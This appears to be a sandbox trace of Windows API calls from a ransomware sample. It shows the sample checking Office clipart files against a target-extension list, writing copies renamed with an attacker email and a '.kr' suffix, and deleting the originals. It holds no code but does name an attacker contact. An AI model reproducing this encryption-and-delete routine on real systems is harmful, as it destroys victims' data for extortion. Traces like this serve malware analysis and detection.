[0208.364] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.364] lstrlenW (lpString=".docx") returned 5 [0208.364] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0208.364] lstrlenW (lpString=".pdf") returned 4 [0208.364] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.364] lstrlenW (lpString=".xls") returned 4 [0208.364] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.364] lstrlenW (lpString=".xlsx") returned 5 [0208.365] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0208.365] lstrlenW (lpString=".ppt") returned 4 [0208.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0208.365] lstrlenW (lpString=".zip") returned 4 [0208.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.365] lstrlenW (lpString=".rar") returned 4 [0208.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.365] lstrlenW (lpString=".bz2") returned 4 [0208.365] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.365] lstrlenW (lpString=".7z") returned 3 [0208.365] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0208.365] lstrlenW (lpString=".dbf") returned 4 [0208.365] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0208.365] lstrlenW (lpString=".1cd") returned 4 [0208.365] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0208.365] lstrlenW (lpString=".jpg") returned 4 [0208.365] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0208.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0208.365] lstrlenW (lpString=".doc") returned 4 [0208.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.365] lstrlenW (lpString=".docx") returned 5 [0208.365] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0208.365] lstrlenW (lpString=".pdf") returned 4 [0208.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.365] lstrlenW (lpString=".xls") returned 4 [0208.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.365] lstrlenW (lpString=".xlsx") returned 5 [0208.365] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0208.366] lstrlenW (lpString=".ppt") returned 4 [0208.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0208.366] lstrlenW (lpString=".zip") returned 4 [0208.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.366] lstrlenW (lpString=".rar") returned 4 [0208.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.366] lstrlenW (lpString=".bz2") returned 4 [0208.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.366] lstrlenW (lpString=".7z") returned 3 [0208.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0208.366] lstrlenW (lpString=".dbf") returned 4 [0208.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0208.366] lstrlenW (lpString=".1cd") returned 4 [0208.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0208.366] lstrlenW (lpString=".jpg") returned 4 [0208.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.366] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0208.366] lstrlenW (lpString="J0105638.WMF") returned 12 [0208.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0208.367] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10364) returned 1 [0208.367] CloseHandle (hObject=0x518) returned 1 [0208.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220 [0208.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0208.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0208.368] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0208.368] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0208.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0208.368] GetLastError () returned 0x0 [0208.368] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x287c, lpOverlapped=0x0) returned 1 [0208.887] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2880, lpOverlapped=0x0) returned 1 [0208.888] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0208.888] WriteFile (in: hFile=0x574, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0208.889] SetEndOfFile (hFile=0x574) returned 1 [0208.889] CloseHandle (hObject=0x574) returned 1 [0208.889] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0208.889] SetEndOfFile (hFile=0x518) returned 1 [0208.892] CloseHandle (hObject=0x518) returned 1 [0208.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0210.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0210.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0210.233] lstrlenW (lpString=".doc") returned 4 [0210.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.233] lstrlenW (lpString=".docx") returned 5 [0210.233] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.233] lstrlenW (lpString=".pdf") returned 4 [0210.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.233] lstrlenW (lpString=".xls") returned 4 [0210.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.233] lstrlenW (lpString=".xlsx") returned 5 [0210.233] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.233] lstrlenW (lpString=".ppt") returned 4 [0210.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0210.233] lstrlenW (lpString=".zip") returned 4 [0210.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.233] lstrlenW (lpString=".rar") returned 4 [0210.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.233] lstrlenW (lpString=".bz2") returned 4 [0210.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.233] lstrlenW (lpString=".7z") returned 3 [0210.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0210.233] lstrlenW (lpString=".dbf") returned 4 [0210.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0210.234] lstrlenW (lpString=".1cd") returned 4 [0210.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0210.234] lstrlenW (lpString=".jpg") returned 4 [0210.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0210.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0210.234] lstrlenW (lpString=".doc") returned 4 [0210.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.234] lstrlenW (lpString=".docx") returned 5 [0210.234] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.234] lstrlenW (lpString=".pdf") returned 4 [0210.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.234] lstrlenW (lpString=".xls") returned 4 [0210.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.234] lstrlenW (lpString=".xlsx") returned 5 [0210.234] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.234] lstrlenW (lpString=".ppt") returned 4 [0210.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0210.234] lstrlenW (lpString=".zip") returned 4 [0210.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.234] lstrlenW (lpString=".rar") returned 4 [0210.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.234] lstrlenW (lpString=".bz2") returned 4 [0210.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.234] lstrlenW (lpString=".7z") returned 3 [0210.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0210.235] lstrlenW (lpString=".dbf") returned 4 [0210.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0210.235] lstrlenW (lpString=".1cd") returned 4 [0210.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0210.235] lstrlenW (lpString=".jpg") returned 4 [0210.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.235] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0210.235] lstrlenW (lpString="J0106816.WMF") returned 12 [0210.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0210.359] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3332) returned 1 [0210.359] CloseHandle (hObject=0x564) returned 1 [0210.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 0x220 [0210.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.994] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.994] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.021] GetLastError () returned 0x0 [0211.021] ReadFile (in: hFile=0x36c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xd04, lpOverlapped=0x0) returned 1 [0211.034] WriteFile (in: hFile=0x56c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xd10, lpOverlapped=0x0) returned 1 [0211.035] ReadFile (in: hFile=0x36c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0211.035] WriteFile (in: hFile=0x56c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0211.035] SetEndOfFile (hFile=0x56c) returned 1 [0211.036] CloseHandle (hObject=0x56c) returned 1 [0211.036] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.036] SetEndOfFile (hFile=0x36c) returned 1 [0211.045] CloseHandle (hObject=0x36c) returned 1 [0211.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0211.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0211.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0211.069] lstrlenW (lpString=".doc") returned 4 [0211.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.069] lstrlenW (lpString=".docx") returned 5 [0211.070] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0211.070] lstrlenW (lpString=".pdf") returned 4 [0211.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.070] lstrlenW (lpString=".xls") returned 4 [0211.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.070] lstrlenW (lpString=".xlsx") returned 5 [0211.070] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0211.070] lstrlenW (lpString=".ppt") returned 4 [0211.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0211.070] lstrlenW (lpString=".zip") returned 4 [0211.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.070] lstrlenW (lpString=".rar") returned 4 [0211.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.070] lstrlenW (lpString=".bz2") returned 4 [0211.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.070] lstrlenW (lpString=".7z") returned 3 [0211.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0211.070] lstrlenW (lpString=".dbf") returned 4 [0211.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0211.070] lstrlenW (lpString=".1cd") returned 4 [0211.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0211.070] lstrlenW (lpString=".jpg") returned 4 [0211.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0211.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0211.070] lstrlenW (lpString=".doc") returned 4 [0211.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.070] lstrlenW (lpString=".docx") returned 5 [0211.070] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0211.071] lstrlenW (lpString=".pdf") returned 4 [0211.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.071] lstrlenW (lpString=".xls") returned 4 [0211.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.071] lstrlenW (lpString=".xlsx") returned 5 [0211.071] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0211.071] lstrlenW (lpString=".ppt") returned 4 [0211.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0211.071] lstrlenW (lpString=".zip") returned 4 [0211.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.071] lstrlenW (lpString=".rar") returned 4 [0211.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.071] lstrlenW (lpString=".bz2") returned 4 [0211.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.071] lstrlenW (lpString=".7z") returned 3 [0211.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0211.071] lstrlenW (lpString=".dbf") returned 4 [0211.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0211.071] lstrlenW (lpString=".1cd") returned 4 [0211.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0211.071] lstrlenW (lpString=".jpg") returned 4 [0211.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.071] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.071] lstrlenW (lpString="J0107130.WMF") returned 12 [0211.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.143] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=27084) returned 1 [0211.143] CloseHandle (hObject=0x574) returned 1 [0211.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 0x220 [0211.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.144] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.144] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0211.144] GetLastError () returned 0x0 [0211.145] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x69cc, lpOverlapped=0x0) returned 1 [0211.147] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x69d0, lpOverlapped=0x0) returned 1 [0211.148] ReadFile (in: hFile=0x574, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0211.148] WriteFile (in: hFile=0x3f8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0211.148] SetEndOfFile (hFile=0x3f8) returned 1 [0211.148] CloseHandle (hObject=0x3f8) returned 1 [0211.148] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.148] SetEndOfFile (hFile=0x574) returned 1 [0211.151] CloseHandle (hObject=0x574) returned 1 [0211.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0211.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0211.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68 [0211.152] lstrlenW (lpString=".doc") returned 4 [0211.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.152] lstrlenW (lpString=".docx") returned 5 [0211.152] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.152] lstrlenW (lpString=".pdf") returned 4 [0211.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.153] lstrlenW (lpString=".xls") returned 4 [0211.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.153] lstrlenW (lpString=".xlsx") returned 5 [0211.153] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.153] lstrlenW (lpString=".ppt") returned 4 